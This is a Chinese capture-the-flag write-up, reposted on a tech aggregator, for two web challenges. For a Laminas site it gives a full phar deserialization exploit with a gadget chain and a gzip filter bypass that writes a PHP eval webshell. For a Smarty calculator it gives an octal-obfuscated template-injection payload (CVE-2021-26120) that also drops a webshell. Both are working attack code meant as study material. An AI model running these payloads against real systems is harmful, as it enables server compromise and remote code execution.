IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 开发测试 -> 202红明谷 -> 正文阅读

[开发测试]202红明谷

WEB

Fan website

根据题目描述,发现这是一个zf框架,网上有很多链子,但是需要一个入口点,在首页没有发现

啥有用的玩意儿。

扫描目录,得到源码,www.zip。

下载审计,发现这是一个mvc框架,个人感觉路由比较恶心。

根据路由进入目录,发现有几个功能点。

在这里插入图片描述

直接放图吧。。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DAb2SdtK-1648007428793)(F:\old\博客\wp\2021hmg\1647945758883.png)]

分别查看具体方法的代码。在imgdelete方法这里发现unlink。这个函数可以触发反序列化,但是需要上传phar。

 public function imgdeleteAction()
    {
        $request = $this->getRequest();
        if(isset($request->getPost()['imgpath'])){
            $imgpath = $request->getPost()['imgpath'];
            $base = substr($imgpath,-4,4);
            if(in_array($base,$this->white_list)){     //白名单
                @unlink($imgpath);
            }else{
                echo 'Only Img File Can Be Deleted!';
            }
        }
    }

很不巧的是这里有个上传点。

    public function imguploadAction()
    {
        $form = new UploadForm('upload-form');

        $request = $this->getRequest();
        if ($request->isPost()) {
            // Make certain to merge the $_FILES info!
            $post = array_merge_recursive(
                $request->getPost()->toArray(),
                $request->getFiles()->toArray()
            );

            $form->setData($post);
            if ($form->isValid()) {
                $data = $form->getData();
                $base = substr($data["image-file"]["name"],-4,4);
                if(in_array($base,$this->white_list)){   //白名单限制
                    $cont = file_get_contents($data["image-file"]["tmp_name"]);
                    if (preg_match("/<\?|php|HALT\_COMPILER/i", $cont )) {
                        die("Not This");
                    }
                    if($data["image-file"]["size"]<3000){
                        die("The picture size must be more than 3kb");
                    }
                    $img_path = realpath(getcwd()).'/public/img/'.md5($data["image-file"]["name"]).$base;
                    echo $img_path;
                    $form->saveImg($data["image-file"]["tmp_name"],$img_path);
                }else{
                    echo 'Only Img Can Be Uploaded!';
                }
                // Form is valid, save the form!
                //return $this->redirect()->toRoute('upload-form/success');
            }
        }

        return ['form' => $form];
    }

但是这里有些过滤,绕过去就行了。最离谱的是过滤了php标签,和HALT_COMPILER,这里就没办法传phar进去, 这里get了一个新知识点,把生成的phar文件,用gzip打包,不影响反序列化。

exp:

<?php

namespace Laminas\View\Resolver{
    class TemplateMapResolver{
        protected $map = ["setBody"=>"system"];
    }
}
namespace Laminas\View\Renderer{
    class PhpRenderer{
        private $__helpers;
        function __construct(){
            $this->__helpers = new \Laminas\View\Resolver\TemplateMapResolver();
        }
    }
}


namespace Laminas\Log\Writer{
    abstract class AbstractWriter{}

    class Mail extends AbstractWriter{
		protected $eventsToMail = ["echo PD9waHAgZXZhbCgkX1BPU1RbMF0pOw==|base64 -d >public/img/1.php"];

        protected $subjectPrependText = null;
        protected $mail;
        function __construct(){
            $this->mail = new \Laminas\View\Renderer\PhpRenderer();
        }
    }
}

namespace Laminas\Log{
    class Logger{
        protected $writers;
        function __construct(){
            $this->writers = [new \Laminas\Log\Writer\Mail()];
        }
    }
}


namespace{
    $a = new \Laminas\Log\Logger();
    echo urlencode(serialize($a));
    unserialize(serialize($a));
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = $a;
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", str_repeat("testtesttest",999999)); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();
//    echo base64_encode(serialize(new Logger()));
}

生成好phar之后,用gzip打包,就能传上去了。

在删除这里POST:

imgpath=phar:///var/www/public/img/a7c3ce076585477741d951d179ab07dc.jpg

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SdTNk5c7-1648007503640)(F:\old\博客\wp\2021hmg\1647946518197.png)]

然后就会写入webshell。然后直接读flag就行了。

Smarty_calculator

首页毛都没有,无奈扫目录,发现www.zip。遂审计。

index.php对cookie有判断,是否存在cookie是否存在login,这里加个cookie:login=1就能绕过。

这里data传进去之后被 Smarty的display方法处理。

因为包含了Smarty/Smarty.class.php。跟进寻找 Smarty->display();这里的Smarty继承了Smarty_Internal_TemplateBase,在Smarty里没有找到display();跟进Smarty_Internal_TemplateBase;类

    public function display($template = null, $cache_id = null, $compile_id = null, $parent = null)
    {
        // display template
        $this->_execute($template, $cache_id, $compile_id, $parent, 1);
    }

这里dispaly调用了_execute方法,继续更进_execute。

审到这里似曾相识,原来是smarty存在模板注入,(CVE-2021-26120)

参考链接:https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html

然后可以直接利用,但是这里对输入内容有过滤。

需要绕一下。这里转成八进制数,这种东西还是很好绕的。

payload:

eval:{$x="42"}{math equation="(\"\\146\\151\\154\\145\\137\\160\\165\\164\\137\\143\\157\\156\\164\\145\\156\\164\\163\")(\"\\61\\62\\63\\56\\160\\150\\160\",\"\\74\\77\\160\\150\\160\\40\\145\\166\\141\\154\\50\\44\\137\\122\\105\\121\\125\\105\\123\\124\\133\\47\\141\\141\\141\\47\\135\\51\\73\\77\\76\")"}

然后冰蝎连接就ok了。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AYawDAq8-1648007428795)(F:\old\博客\wp\2021hmg\1647950862230.png)]

  开发测试 最新文章
pytest系列——allure之生成测试报告(Wind
某大厂软件测试岗一面笔试题+二面问答题面试
iperf 学习笔记
关于Python中使用selenium八大定位方法
【软件测试】为什么提升不了?8年测试总结再
软件测试复习
PHP笔记-Smarty模板引擎的使用
C++Test使用入门
【Java】单元测试
Net core 3.x 获取客户端地址
上一篇文章      下一篇文章      查看所有文章
加:2022-03-30 18:55:28  更:2022-03-30 18:58:27 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/18 0:43:41-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码